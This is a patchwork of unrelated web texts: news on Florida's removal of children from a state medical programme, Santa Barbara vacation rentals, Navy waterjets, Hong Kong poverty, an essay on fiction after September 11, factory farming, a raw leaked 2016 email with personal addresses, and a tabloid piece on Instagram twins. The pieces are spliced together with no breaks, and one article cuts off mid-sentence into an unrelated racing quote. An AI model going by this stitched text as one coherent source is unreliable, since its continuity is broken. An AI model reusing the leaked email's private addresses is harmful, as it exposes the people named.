"WellCare contributes to a variety of organizations that shape health care policy, including the Florida Republican Party committees, the Democratic Party committees and those without political affiliation," wrote Alissa Lawver, a spokeswoman for WellCare. "The company also discloses and publicly reports all political contributions on its website above and beyond the requirements of state and federal law. As a provider of managed care, WellCare is committed to partnering with the state of Florida to provide access to quality, affordable health care solutions for the state's most vulnerable populations. We maintain a robust provider network and offer comprehensive care management services to create personalized, coordinated care plans to help improve and maintain the health of families and children across the state."
She added that WellCare has accountability to Florida's Agency for Health Care Administration, "which provides careful oversight of the state's Medicaid program to ensure all members, including children that transitioned from Children's Medical Services, receive access to the right care, at the right time and in the most appropriate setting."
Ethan Slavin, a spokesman for Aetna, said the company makes "donations to campaigns for both major political parties to support and address issues that impact our customers and members."
He added that "we are required to meet state rules and regulations regarding our network of health care providers and are consistently compliant with those requirements" and that "we regularly work with our members, health care providers and the state of Florida to move children with special health care needs into the Children's Medical Services program, when appropriate and in the best interest of our members. Our integrated care management program regularly identifies these children and assists in this process."
Miguel "Mike" Fernandez, founder and former chairman of Better Health, said he had contributed several million dollars to both Republicans and Democrats. He added that states move Medicaid patients into the care of private companies so they can "move the risk off their financial books."
A victory for Florida families
Many pediatricians use strong language to describe their anger and frustration with the Florida Department of Health and what it did in 2015 to the 13,074 children.
"This has just been a nightmare, and we're still experiencing the fallout," said Dr. Toni Richards-Rowley, treasurer of the Florida chapter of the American Academy of Pediatrics.
"It's disgusting," said Cosgrove, the pediatrician in Merritt Island. "It's all about money and not looking out for the children."
"Honestly, it makes me want to puke," said Lida Sarnecky, nurse manager of the team at the University of Florida that takes care of children with cleft lip and palate.
"In my heart, what I want to do is go down to Governor Scott's office and ask him, 'What if this were your child or grandchild who couldn't receive the care they needed? How would you feel then?' " she said.
By June 2015, some Florida parents had had enough.
Five children, including Alejandro Rodriguez, and Yasmeen and Aref Shabaneh, sued the state Department of Health to get it to stop using the telephone questionnaire to take patients off CMS, claiming that the state Department of Health hadn't gone through formal rulemaking procedures.
The children won.
The state didn't fight the ruling. Instead, it came up with a new way to screen children for the program -- one that doesn't rely on a telephone survey and takes into consideration a child's diagnosis.
Aref Shabaneh lost his Children's Medical Services coverage when his mother told the state he didn't have limitations. "Aref wants to do everything by himself," she said.
Many parents and pediatricians assumed the state would soon reach out directly to parents to let them know they could reapply to have their children put back on CMS.
They were very wrong.
Five months after the judge's decision, St. Petery, the Tallahassee pediatric cardiologist, implored the secretary of the Department of Health to reach out to parents.
To St. Petery, the reasoning was obvious: A judge had said that the state had violated the law. Reaching out to the parents was a way of correcting wrongdoing.
The state had a notice on its website about the ability to be rescreened for CMS, and at a meeting with state legislators, a department official had given out a phone number parents could call. But St. Petery knew that busy parents of very sick children might not attend official state meetings or notice pages on government websites.
"I would hope that you would consider notifying each of the parents of those 13,074 children that the tool by which their child was screened out of CMS has been declared invalid, and that they have the right to appeal that decision," St. Petery wrote to Dr. John Armstrong, then secretary of the Department of Health and the state surgeon general.
Armstrong wrote back that doing so would violate federal regulations, since the children had been switched to other Medicaid insurance plans.
"Federal regulations prohibit direct marketing to children currently being served by another managed care plan," he wrote back to St. Petery.
CNN was unable to reach Armstrong for comment. Gambineri, the Florida Department of Health spokeswoman, said he "is no longer employed by DOH."
Not satisfied with Armstrong's response, St. Petery sought help from US Rep. Kathy Castor, a Democrat from Tampa. Castor took his concerns to the federal Centers for Medicare and Medicaid Services.
On March 23, 2016, an official at that agency sent an email to Justin Senior, then the Medicaid director at Florida's Agency for Health Care Administration. CNN obtained the email under the Freedom of Information Act.
In that email, the federal official explained to Senior that federal regulations do not prohibit Florida from reaching out directly to families.
"To clarify, 42 CFR 438.104 does not prohibit marketing," wrote Jackie Glaze, associate regional administrator for the Division of Medicaid and Children's Health at the Centers for Medicare and Medicaid Services, citing a federal regulation.
More than a year later, on July 24, 2017, the Florida Department of Health sent a letter to parents letting them know that their children could be screened to get back on CMS. The letter was sent to 6,081 parents whose children were removed from CMS and put on another Medicaid plan and were still on that plan and financially eligible for Medicaid, according to Gambineri, the Florida health department spokeswoman.
That letter was sent nearly two years after the judge's decision. Pediatricians say they're angry it took that long to directly let parents know about the possibility of getting back on CMS.
Gambineri said there was concern that parents might get confused.
"It was originally thought to be, and still is considered a risk, in terms of confusion and disruption to families, to send a letter because they have had rescreening available since 2015," Gambineri said a few months before the letter was sent out.
Nelson Mandela and Mr. Rogers
Now that LJ Stroud is back on CMS, he's a happy, strapping 13-year-old who loves to play football and horse around with his brother and sisters in the family's backyard in St. Augustine.
But his mother looks back on the dark days in 2015, after her son was switched off CMS, when she says he would lie on the couch in pain, unable to get the surgeries he needed.
It's not just her son's physical pain that makes Stroud angry; it's his emotional pain.
Since LJ Stroud was placed back on Children's Medical Services, he's been able to play football again.
When LJ was on CMS, Stroud says, he received excellent care and was a contented, well-adjusted child, never thinking of himself as different despite his birth defect.
But she says that when he was in pain because he couldn't have surgery, he started to feel sorry for himself.
" 'Why did God make me this way?' " she says he asked. " 'Why can't I be like my brothers and sisters?' "
When she hears about how top Florida officials have spoken with pride of what they did to her son and to more than 13,000 other children, she becomes livid.
Last year, Armstrong, then Florida's surgeon general and secretary of health, made a presentation to the Florida Children and Youth Cabinet, a panel created by the state Legislature to promote children's welfare.
Declaring that the Department of Health "cares about every child in Florida," Armstrong explained how the state removed the 13,074 children from CMS.
Armstrong's presentation quoted two great advocates for children, Nelson Mandela and Fred Rogers.
First, he quoted Mandela: "There can be no keener revelation of a society's soul than the way in which it treats its children."
And he quoted Fred Rogers, the star of the children's television show "Mister Rogers' Neighborhood": "Anyone who does anything to help a child in life is a hero to me."
Stroud struggles for words to describe what she thinks of Armstrong quoting these two champions for child welfare.
"It's just -- it's just disgusting," she said. "I feel my blood boiling just thinking about it."
Editor's note: The original version of this story has been updated to include a new response from the Florida Department of Health, to clarify the CMS eligibility screening process the department uses currently, and to include the full name and position of one its employees.With low-income tenants getting squeezed, housing commission likely to recommend that City Council adopt stricter enforcement policy
Finding affordable housing in Santa Barbara’s tight rental market is difficult, but the proliferation of short-term vacation rental websites is making the search all the more aggravating.
At a time when the city boasts a 99.5-percent rental-occupancy rate, Santa Barbara records show at least 330 short-term rentals were registered with Airbnb and the like, spread throughout the tourist-centric coastal city.
Worse yet is the impact on Santa Barbara’s poorest residents. Some former Section 8 landlords are opting against renting to low-income tenants with vouchers, instead turning precious affordable supply into short-term rentals.
According to the Housing Authority of the City of Santa Barbara, which met last week to discuss the growing problem, nearly 100 of its clients are currently looking for Section 8 housing.
The housing commission will soon forward a recommendation on the issue to the City Council, which will consider amending its short-term rental policy in June.
New rules are especially needed because most people renting rooms or homes to visitors for fewer than 30 consecutive days are doing so illegally, and Santa Barbara officials knowingly ignore it.
Short-term rental owners can’t operate in a residential zone, since it’s considered a business. Right now, officials force them to pay for a business license and transient-occupancy taxes.
Last year alone, the city collected $800,000 in bed taxes from short-term rentals, city manager Paul Casey said in a budget meeting last month.
“TOT is in no way sufficient mitigation from this process,” said Geoff Green, chairman of the housing commission. “Everybody’s got a share in this.”
The commission could suggest limiting or eliminating the growing phenomenon popping up in virtually every neighborhood and across all types of zones. A map displayed at last Wednesday’s meeting plotted the addresses of short-term rental units registered with the city.
The number of such rentals varies depending on which report you use.
Rob Fredericks, deputy executive director of the Housing Authority, said Santa Barbara found more than 300 units, but a second report lists more than 500 and a third estimates the number at more than 1,000.
There are an estimated 22,401 rental housing units in the city, he said, which means just 112 total units are available to lease.
Fredericks looked at the map and said with certainty that several former Section 8 landlords were among those operating illegal short-term rentals.
Rents have increased 7.1 percent since October 2014, he said, and occupancy rates have hovered above 99 percent since October 2013.
The average rent of a two-bedroom apartment now approaches $2,000 per month, Fredericks said.
Buying a home isn’t any easier. Santa Barbara is the least affordable county in California, with a mere 14 percent of residents who can afford a median home price of $930,000, according to data from the UCSB Economic Forecast.
Low vacancy causes many of the low-income families, seniors and people with disabilities the housing authority serves to fail at locating a unit to rent under its Section 8 housing choice voucher program, which provides incentives for landlords who participate.
Over the last year, the authority’s lease-up rate success for that program has dropped 60 percent, Fredericks said, while program costs continually rise.
City planners present at the meeting acknowledged enforcement discrepancies and asked for direction.
Green said he saw a “bright line” between using a primary residence as an income generator versus out-of-towners buying a home they don’t live in but rent out.
“To me, that’s a very different use,” he said. “It does impact the overall availability and is so clearly a violation of city zoning. You can get more (money) in two weekends than any month-long lease in this system.”
Issues that neighbors of short-term rentals face was a concern for some commissioners, including Catherine Woodford, who argued that neighbor relations should fall within the housing commission’s purview.
Commission vice chairman David Hughes disagreed, urging his colleagues to create a data-driven report that sticks to the facts.
“I think the data and evidence clearly show there’s an impact on housing availability and rental housing market,” he said.
Commissioners debated how long it would take the city to enact a new policy, with some guessing more than 18 months and others who said they were disgusted with that timeframe.
In the end, the commissioners directed staff to draft a report, which Green and Hughes could look over as a subcommittee before it goes to the City Council sometime next month.
— Noozhawk staff writer Gina Potthoff can be reached at.(JavaScript must be enabled to view this email address). Follow Noozhawk on Twitter: @noozhawk, @NoozhawkNews and @NoozhawkBiz. Connect with Noozhawk on Facebook.The Navy’s fifth Littoral Combat Ship is the first vessel to receive new waterjets engineered to improve propulsion and fuel efficiency, service officials said.
“The fuel efficiency that we derive is incredibly impressive. We’re not talking about one or two percentages – we’re talking about 10 percent improvement in efficiency from the waterjet,” Rear Adm. Mathew Klunder, Chief of Naval Research told members of the Senate Appropriations Committee’s Defense Subcommittee May 14.
Now installed on the USS Milwaukee, or LCS 5, the new waterjets provide improved performance compared to previous waterjet models, said Ki-Han Kim, Office of Naval Research program officer, Sea Warfare and Weapons Division.
“Advancements in waterjet technology will reduce operational maintenance costs and improve availability for ships to deliver mission results,” Kim added in a written statement. “The waterjets deliver the same top speed and efficiency as existing waterjets on LCS 1 and LCS 3, but with reduced noise and vibration, reduced life-cycle costs, improved maintainability, increased availability and potentially improved efficiency at lower speeds.”
The waterjets, developed from 2006 through 2011, improve what’s called cavitation performance, the process of creating partial vacuums in a liquid.
“The new waterjets benefit from an improved hydrodynamic design architecture that reduces the size of the waterjet and the damaging effects of cavitation through the use of improved impeller blade design techniques, while maintaining a high propulsive efficiency,” Kim said.
Development of the waterjets includes a partnership in funding between the Office of Naval Research, Naval Surface Warfare Center, Carderock Division, and Rolls-Royce Marine, North America. The new waterjets have gone through extensive tests and validations at industry and government testing facilities and also been put through reduced scale at-sea demonstrations, Kim added.
Klunder praised the waterjet development as an example of effective industry-government partnerships.
The Navy plans to add the new waterjets to every Freedom variant of the LCS that is produced, Navy officials said. Each LCS requires four waterjets.
The first units were installed on LCS 5 in the summer of 2013 and full scale units have now been delivered for LCS 5, LCS 7 and LCS 9. Units for LCS 11 and LCS 13 are currently in production. Rolls-Royce won an initial competition to develop the waterjets in 2006 and has since gone on to be awarded a second phase to develop and deliver full-scale waterjets, Kim said.
“During the second phase, more improvements were made to the initial design and intermediate scale testing was performed on a Navy small boat,” he explained.The city of Hong Kong is like the mythical Janus, the god who supposedly guarded ancient Roman doors: it has two faces. On the one hand, you have the rich, cosmopolitan city which never sleeps, and on the other hand the metropolis of the poor, with its old, lousy buildings. The two worlds live side by side, hugging each other in a maze of skyscrapers and crappy edifices.
Despite being one of the world’s most coveted destinations for millionaires, poverty is a serious issue in the former British colony. On September 28, Chief Executive CY Leung announced that about 1.3 million people – roughly 19.6 per cent of the city’s population – are officially poor. The number recedes to 15.2 per cent if welfare payments are included, but even then it remains stubbornly high. The elderly are particularly vulnerable: one in three falls below |
end of the race.
"We have had some good tests but we have no reason to fall into jubilation," the 42-year-old added.
(GMM)A few days after the events of September 11, this newspaper published a response by Jay McInerney, supposedly the creator of "the definitive modern New York novel". He told us that on that very Tuesday, still shaken and shocked, he took lunch at Time Café, "a once fashionable dining spot". And who should immediately enter but "the actress Jennifer Beals... a camera around her neck, looking slightly dazed".
Later, McInerney repairs to the apartment of another New York novelist, Bret Easton Ellis. On Bret's kitchen counter he sees an invitation to a literary party, and blurts out: "I'm glad I don't have a book coming out this month" - a statement he knows to be "a selfish and trivial response to the disaster, but one I thought he would understand." Bret replies that he was just thinking the same thing. Then Jay says to Bret: "I don't know how I'm going to be able to go back to this novel I'm writing." He adds, to the reader: "The novel is set in New York, of course. The very New York which has just been altered for ever."
Is McInerney right? Will the horrid alteration of America's greatest city also alter the American novel? One is naturally suspicious of all the eschatological talk about how the time for trivia has ended, and how only seriousness is now on people's minds - not least because the people saying it are usually themselves trivial and, as in McInerney's piece, are thus unwitting arguments against their own new-found seriousness. Doubtless, trivia and mediocrity will find their own level again, in novel-writing as in everything else. And besides, the "New York novel" - as opposed to the novel set in New York - is a genre of no importance at all. If I live the rest of my life without having to come across another book like Bret Easton Ellis's New York novel, Glamorama, I will have very happily been what Psalm 81 calls "delivered from the pots".
There has, of course, been great fiction set or partly set in New York: Melville's story "Bartleby", which is set in a Wall Street office; Stephen Crane's Maggie; The Great Gatsby; the last section of Theodore Dreiser's novel, Sister Carrie, which rails splendidly against the capitalist inequities of what Dreiser calls "the Walled City"; a chapter of Céline's Journey to the End of the Night; Henry Roth's great novel of immigrant life, Call It Sleep; Bellow's Seize the Day and Mr Sammler's Planet. Yet as soon as one recalls these novels, it becomes difficult to imagine the precise ways in which they would have been different had they had to accommodate a mutilation of the kind visited upon the city on September 11. And that is partly because they are already dark books, in which the city looms jaggedly. It is only the McInerneys, for whom Manhattan is a tinkle of restaurants, who are suddenly surrounded by the broken glass of their foolish optimism. The pessimist is already ruined, and knows it.
What also unites these dark works of fiction is that their foci are human and metaphysical before they are social and documentary. They are stories, above all, about individual consciousness, not about the consciousness of Manhattan. Here, terrorism may well have an impact. For after all, the dream of the Great American Novel has for many years really been the dream of the Great American Social Novel - certainly since John Dos Passos and Sinclair Lewis.
The Great American Social Novel, which strives to capture the times, to document American history, has been revivified by Don DeLillo's Underworld, a novel of epic social power. Lately, any young American writer of any ambition has been imitating DeLillo - imitating his tentacular ambition, the effort to pin down an entire writhing culture, to be a great analyst of systems, crowds, paranoia, politics; to work on the biggest level possible.
The DeLilloan idea of the novelist as a kind of Frankfurt School entertainer - a cultural theorist, fighting the culture with dialectical devilry - has been woefully influential, and will take some time to die. Nowadays anyone in possession of a laptop is thought to be a brilliance on the move, filling his or her novel with essaylets and great displays of knowledge. Indeed, "knowing about things" has become one of the qualifications of the contemporary novelist. Time and again novelists are praised for their wealth of obscure and far-flung social knowledge. (Richard Powers is the best example, but Tom Wolfe also gets an easy ride simply for "knowing things".) The reviewer, mistaking bright lights for evidence of habitation, praises the novelist who knows about, say, the sonics of volcanoes. Who also knows how to make a fish curry in Fiji! Who also knows about terrorist cults in Kilburn! And about the New Physics! And so on. The result - in America at least - is novels of immense self-consciousness with no selves in them at all, curiously arrested and very "brilliant" books that know a thousand things but do not know a single human being.
Zadie Smith is merely of her time when she says, in an interview, that it is not the writer's job "to tell us how somebody felt about something, it's to tell us how the world works". She has praised the American writers David Foster Wallace and Dave Eggers as "guys who know a great deal about the world. They understand macro-microeconomics, the way the internet works, maths, philosophy, but... they're still people who know something about the street, about family, love, sex, whatever."
But this idea - that the novelist's task is to go on to the street and figure out social reality - may well have been altered by the events of September 11, merely through the reminder that whatever the novel gets up to, the "culture" can always get up to something bigger. Ashes defeat garlands. If topicality, relevance, reportage, social comment, preachy presentism, and sidewalk-smarts - in short, the contemporary American novel in its current, triumphalist form - are novelists' chosen sport, then they will sooner or later be outrun by their own streaking material. Fiction may well be, as Stendhal wrote, a mirror carried down the middle of a road; but the Stendhalian mirror would explode with reflections were it now being walked around Manhattan.
For who would dare to be knowledgeable about politics and society now? Is it possible to imagine Don DeLillo today writing his novel Mao II - a novel that proposed the foolish notion that the terrorist now does what the novelist used to do, that is, "alter the inner life of the culture"? Surely, for a while, novelists will be leery of setting themselves up as analysts of society, while society bucks and charges so helplessly. Surely they will tread carefully over their generalisations. It is now very easy to look very dated very fast.
For example, Jonathan Franzen's distinguished new novel, The Corrections, has just appeared in America. It is a big social novel trying hard not to be one - softened DeLilloism. Franzen has announced a desire to take the DeLillo model and warmly people it with characters. It's an admirable project. But there is a passage near the end of The Corrections about the end of the American 20th century that is pure social novel, and which now seems laughably archival: "It seemed to Enid that current events in general were more muted or insipid nowadays than they'd been in her youth. She had memories of the 1930s, she'd seen firsthand what could happen to a country when the world economy took its gloves off... But disasters of this magnitude no longer seemed to befall the United States. Safety features had been put in place, like the squares of rubber that every modern playground was paved with, to soften impacts." As McInerney might say, "I'm glad I don't have a novel coming out this month."
The other casualty of recent events may well be - it is to be hoped - what I have called "hysterical realism". Hysterical realism is not exactly magical realism, but magical realism's next stop. It is characterised by a fear of silence. This kind of realism is a perpetual motion machine that appears to have been embarrassed into velocity. Stories and sub-stories sprout on every page. There is a pursuit of vitality at all costs. Recent novels by Rushdie, Pynchon, DeLillo, Foster Wallace, Zadie Smith and others have featured a great rock musician who played air guitar in his crib (Rushdie); a talking dog, a mechanical duck and a giant octagonal cheese (Pynchon); a nun obsessed with germs who may be a reincarnation of J Edgar Hoover (DeLillo); a terrorist group devoted to the liberation of Quebec who move around in wheelchairs (Foster Wallace); and a terrorist Islamic group based in North London with the silly acronym Kevin (Smith).
Rushdie was at it again in his most recent book, Fury, a lamentable novel that combined hysterical realism - dolls, puppets, allegories, a coup on a Fiji-like island, rampant and tiresome caricature, and a noisy, clumsy prose - with the more traditional social novel. Alas, the social-novel part of the book was set in Manhattan, and offered a kind of diary of last year's Manhattan events. We encountered Rudy and Hillary, J-Lo, the Puerto Rican parade, Bush versus Gore, the film Gladiator and so on. Of course, the book was already obsolete when it appeared in early September, just before the terrorist attack. Its trivia-tattoo had already faded. But now it seems grotesque, a time-stamped scrap of paper.
It ought to be harder, now, either to bounce around in the false zaniness of hysterical realism or to trudge along in the easy fidelity of social realism. Both genres look a little busted. That may allow a space for the aesthetic, for the contemplative, for novels that tell us not "how the world works" but "how somebody felt about something" - indeed, how a lot of different people felt about a lot of different things (these are commonly called novels about human beings). A space may now open, one hopes, for the kind of novel that shows us that human consciousness is the truest Stendhalian mirror, reflecting helplessly the newly dark lights of the age.Factory farming has been expanding in the U.S. over the last two decades, and the size of those farms has increased dramatically—dominating the market, squeezing out smaller producers and setting the agenda for farming practices—to the detriment of food consumers.
That's the conclusion of a new study, Factory Farm Nation: 2015 Edition, released by Food & Water Watch.
"Over the last two decades, small- and medium-scale farms raising livestock have given way to factory farms that confine thousands of cows, hogs and chickens in tightly packed facilities," says the report. "Farmers have adopted factory farming practices largely at the behest of the largest meatpackers, pork processors, poultry companies and dairy processors. The largest of these agribusinesses are practically monopolies, controlling what consumers get to eat, what they pay for groceries and what prices farmers receive for their livestock."
This is occurring as the public is marching in the other direction, as demonstrated by McDonald's declining profits, the positive public response to Chipotle's moving toward organic, non-GMO and locally raised products, and raised awareness of the issues around meat and dairy products containing growth hormones and antibiotics used for preventive purposes due to factory farming confinement practices.
Factory Farm Nation cites the power of agribusiness monopolies, along with what it refers to as "misguided farm policies," with causing factory farms to explode in size and adopt practices that are unhealthy for consumers and for the environment.
“As I documented in my book Foodopoly, corporate monopolies continue to run our food system, exercising unchecked power over the food that Americans feed their families," said Food & Water Watch executive director Wenonah Hauter. "As factory farms grow in size and number, so too do the problems they create, such as increased water and air pollution; fewer markets for independent, pasture-based farmers; public health burdens like antibiotic-resistant bacteria; and large-scale food safety risks for consumers.”
The report analyzes how much each type of factory livestock operation has grown, using U.S. Department of Agriculture data from 1997, 2002, 1997 and 2012, finding that both the size and number of such farms and the number of animals they raise has grown dramatically in most cases. Among other things, it found:
The total number of livestock on the largest factory farms grew by 20 percent between 2002 and 2012, increasing from 23.7 to 28.5 million. “Livestock units” measures animals based on their weight.
These livestock produced 369 million tons of manure in 2012, 13 times as much as produced by the entire U.S. population.
The number of dairy cows on factory farms doubled, and the average dairy factory farm size increased by 49.1 percent between 1997 and 2012. The number of cows on farms with more than 500-head grew 120.9 percent, from 2.5 to 5.6 million in that time.
The number of hogs on factory farms increased by 37.1 percent, and the average farm size grew 68.4 percent from 1997 to 2012.
The number of broiler chickens on factory farms—ones that sold more than half a million a year—grew 79.9 percent percent from 1997 to 1.05 billion in 2012 billion. And the average size of U.S. broiler chicken operations rose 5.9 percent in the same period, from 157,000 to 166,000 birds. In California and Nevada, the average chicken farm raised more than 500,000 birds in 2012.
The number of egg-laying hens on factory farms with more than 100,000 birds grew 2.48 percent from 1997 to 2012. The average egg operations has grown by 74.2 percent in 15 years, to an average size of 695,000 birds in 2012.
The number of beef cattle on feedlots rose five percent from 2002 to 2012. The average size increased 13.7 percent from 2007 to 2012 and continued to grow despite the drought reducing the overall number of animals.
Read page 1
Food & Water Watch provides an interactive map so you can visualize where these factory farms have grown and how they have expanded.
With the size of the operations comes political power that drives weaker environmental rules which allows their size to increase, creating a vicious cycle that gives consumers shrinking choices and puts them at more danger from food-borne illnesses.
“Waste from factory farms is an enormous problem, one that we cannot begin to curb through market-based approaches such as pollution trading, which will not actually stop factory farms from polluting our nation’s water ways,” said Hauter. “In reality, pollution trading simply moves the problem around, shifting waste to other watersheds, rather than tackling the issue that factory farms concentrate too many animals—and too much waste—in one place.”
"As factory farms grow in size and numbers, so too do the problems they create," said Wenonah Hauter, executive director of Food & Water Watch. Photo credit: Food & Water Watch
Food & Water Watch also made a series of recommendations. It suggests that the U.S. Environmental Protection Agency declare a moratorium on new factory farms and the expansion of existing ones, and enforce rules to prevent pollution, such as giant manure lagoon of unprocessed animal waste; that the Department of Justice block future mergers and consolidation of facilities to create still larger ones; that the Food and Drug Administration (FDA) ban use of antibiotics to prevent the spread of disease in overcrowded facilities; and that states crack down on the permitting and enforcement of water and air pollution regulations involving factory farms.
Food & Water Watch will call attention to its study results with an electronic billboard, Factory Farms Are a #LoadOfCrap, which will be on display in July in a location far from any factory farms: New York City's Times Square.
"Factory farms produce more than just the majority of the meat, milk and eggs we consume—they breed disease, misery and pollution," said Hauter. "In fact, every day, America’s factory farms produce enough waste to fill the Empire State Building."
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MIME-Version: 1.0 Received: by 10.25.84.202 with HTTP; Wed, 20 Jan 2016 18:46:31 -0800 (PST) In-Reply-To: <CALk44aBTZo4vrs=w4N=tTEiGvXsSeLo8yTC7t2kWBC29t3mnuQ@mail.gmail.com> References: <BLUPR17MB03244AA85EAEC690E229956BA3C20@BLUPR17MB0324.namprd17.prod.outlook.com> <CALk44aCF4ud8Xmys6ysh7MGCVRBAP4KcWLXS5JdgfBNiFiePQA@mail.gmail.com> <CAE6FiQ-rKmvDWVk6xceYtTLA_kwiUYPQqAVT57X+46mzX0dPNQ@mail.gmail.com> <CALk44aBTZo4vrs=w4N=tTEiGvXsSeLo8yTC7t2kWBC29t3mnuQ@mail.gmail.com> Date: Wed, 20 Jan 2016 21:46:31 -0500 Delivered-To: john.podesta@gmail.com Message-ID: <CAE6FiQ_b9ojEtmsJ1bH6r_kCKQRTA4RGaE94-89iGJh-_RbPXQ@mail.gmail.com> Subject: Re: YGPF From: John Podesta <john.podesta@gmail.com> To: Cheryl Mills <cheryl.mills@gmail.com> Content-Type: multipart/alternative; boundary=001a11401e842a17240529cf1c73 --001a11401e842a17240529cf1c73 Content-Type: text/plain; charset=UTF-8 Ok. I'm up. On Wednesday, January 20, 2016, Cheryl Mills <cheryl.mills@gmail.com> wrote: > i have a 930pm call - I can call you after > > On Wed, Jan 20, 2016 at 7:40 PM, John Podesta <john.podesta@gmail.com > <javascript:_e(%7B%7D,'cvml','john.podesta@gmail.com');>> wrote: > >> Not great, but what's one more brick in the pack. Can I call you as late >> as 9:30? >> >> >> On Wednesday, January 20, 2016, Cheryl Mills <cheryl.mills@gmail.com >> <javascript:_e(%7B%7D,'cvml','cheryl.mills@gmail.com');>> wrote: >> >>> Tina >>> >>> This comes from 2007/2008 Q/A about WJC Yucapia relationship and taxes. >>> >>> >>> cdm >>> ---------- Forwarded message ---------- >>> From: Heather Samuelson <hsamuelson@cdmillsgroup.com> >>> Date: Wed, Jan 20, 2016 at 2:41 PM >>> Subject: YGPF >>> To: Cheryl Mills <cheryl.mills@gmail.com> >>> >>> >>> >>> Q. Why is YGPF organized in the Cayman Islands? >>> >>> >>> >>> A. The Yucaipa Global Partnership Fund invests in foreign corporations >>> and welcomes foreign investors. >>> >>> >>> >>> To avoid double taxation -- where investors are taxed in two >>> countries on the same income without an offsetting foreign tax credit in >>> the investor's home country -- YGPF, like many international funds, is >>> organized in the Cayman Islands. >>> >>> >>> >>> Taxable U.S. investors in funds organized in the Cayman Islands >>> pay applicable U.S. taxes on income and gain from those funds, but are not >>> subject to being taxed a second time on that same income or gain by the >>> Cayman Islands. >>> >>> >>> >>> As an American citizen, President Clinton must and does pay all >>> applicable U.S. taxes on all the income or gains he receives related to the >>> Yucaipa Global Partnership Fund. >>> >>> >>> >>> > --001a11401e842a17240529cf1c73 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Ok. I'm up.<br><br>On Wednesday, January 20, 2016, Cheryl Mills <<a = href=3D"mailto:cheryl.mills@gmail.com">cheryl.mills@gmail.com</a>> wrote= :<br><blockquote class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-le= ft:1px #ccc solid;padding-left:1ex"><div dir=3D"ltr">i have a 930pm call - = I can call you after</div><div class=3D"gmail_extra"><br><div class=3D"gmai= l_quote">On Wed, Jan 20, 2016 at 7:40 PM, John Podesta <span dir=3D"ltr">&l= t;<a href=3D"javascript:_e(%7B%7D,'cvml','john.podesta@gmail.co= m');" target=3D"_blank">john.podesta@gmail.com</a>></span> wrote:<br= ><blockquote class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1= px #ccc solid;padding-left:1ex">Not great, but what's one more brick in= the pack. Can I call you as late as 9:30?<div><div><br><br>On Wednesday, J= anuary 20, 2016, Cheryl Mills <<a href=3D"javascript:_e(%7B%7D,'cvml= ','cheryl.mills@gmail.com');" target=3D"_blank">cheryl.mills@gm= ail.com</a>> wrote:<br><blockquote class=3D"gmail_quote" style=3D"margin= :0 0 0.8ex;border-left:1px #ccc solid;padding-left:1ex"><div dir=3D"ltr">T= ina<div><br></div><div>This comes from 2007/2008 Q/A about WJC Yucapia rela= tionship and taxes. =C2=A0</div><div><br></div><div><br></div><div>cdm<br><= div class=3D"gmail_quote">---------- Forwarded message ----------<br>From: = <b class=3D"gmail_sendername">Heather Samuelson</b> <span dir=3D"ltr"><<= a>hsamuelson@cdmillsgroup.com</a>></span><br>Date: Wed, Jan 20, 2016 at = 2:41 PM<br>Subject: YGPF<br>To: Cheryl Mills <<a>cheryl.mills@gmail.com<= /a>><br><div lang=3D"EN-US" link=3D"#0563C1" vlink=3D"#954F72"><div><br> <p class=3D"MsoNormal"><u></u>=C2=A0<u></u></p> <p class=3D"MsoNormal">Q.=C2=A0 Why is YGPF organized in the Cayman Islands=?<u></u><u></u></p> <p class=3D"MsoNormal"><u></u>=C2=A0<u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in">A.=C2=A0 The Yucaipa Glo= bal Partnership Fund invests in foreign corporations and welcomes foreign i= nvestors. <u></u><u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in"><u></u>=C2=A0<u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in">=C2=A0=C2=A0=C2=A0=C2=A0= =C2=A0 To avoid double taxation -- where investors are taxed in two countri= es on the same income without an offsetting foreign tax credit in the inves= tor's home country -- YGPF, like many international funds, is organized in the Cayman Islands.<u></u><u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in"><u></u>=C2=A0<u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in">=C2=A0=C2=A0=C2=A0=C2=A0= =C2=A0 <span style=3D"background:yellow"> Taxable U.S. investors in funds organized in the Cayman Islands pay applica= ble U.S. taxes on income and gain from those funds, but are not subject to = being taxed a second time on that same income or gain by the Cayman Islands=.</span><u></u><u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in"><u></u>=C2=A0<u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in">=C2=A0=C2=A0=C2=A0=C2=A0= =C2=A0 <span style=3D"background:yellow"> As an American citizen, President Clinton must and does pay all applicable = U.S. taxes on all the income or gains he receives related to the Yucaipa Gl= obal Partnership Fund.</span><u></u><u></u></p> <p class=3D"MsoNormal" style=3D"margin-left:.25in"><u></u><u></u></p> <p class=3D"MsoNormal"><span style=3D"font-size:11.0pt;font-family:"Ca= libri",sans-serif"><u></u>=C2=A0<u></u></span></p> </div> </div> </div><br></div></div> </blockquote> </div></div></blockquote></div><br></div> </blockquote> --001a11401e842a17240529cf1c73--Talk about making the most of your assets.
The enormous bums on these two curvy twins net them over £20,000 a month.
Nadia and Dana Bruna, 30, had their bottoms enlarged and now make a fortune posting bum selfies, or 'belfies' to their legions of fans.
'Belfie Queens': The absolutely enormous bums on these two curvy twins net them over £20,000 a month
Nadia and Dana Bruna, 30, had their bottoms enlarged and now make a fortune posting bum selfies, or 'belfies' to their legions of fans
The famous behinds, which measure 102cm each, have helped the duo amass over 1.1 million followers on Instagram.
The Argentinian pair, from Miami Florida, can afford to sustain a life of luxury. They have even had over £41,000 worth of surgery completely free because they advertised the results on social media.
They had to transfer three kilograms of fat from other areas of their bodies to adequately enlarge their bottoms.
The famous behinds, which measure 102cm each, have helped the duo amass over 1.1 million followers on Instagram
The Argentinian pair, from Miami Florida, can afford to sustain a life of luxury. They have even had over £41,000 worth of surgery completely free because they advertised the results on social media
The circumference of the 'Belfie Queens'' behinds have subsequently swelled to over a metre in thickness thanks to their dedication to plastic surgery.
After becoming famous on Instagram the sisters are now looking to expand their businesses.
They take up to 150 selfies every day and have recently begun posting on the 'Supe' app, where users pay for pictures and video clips.
Nadia said the app, which has only existed for two months, is similar to SnapChat but each image or video has a price.
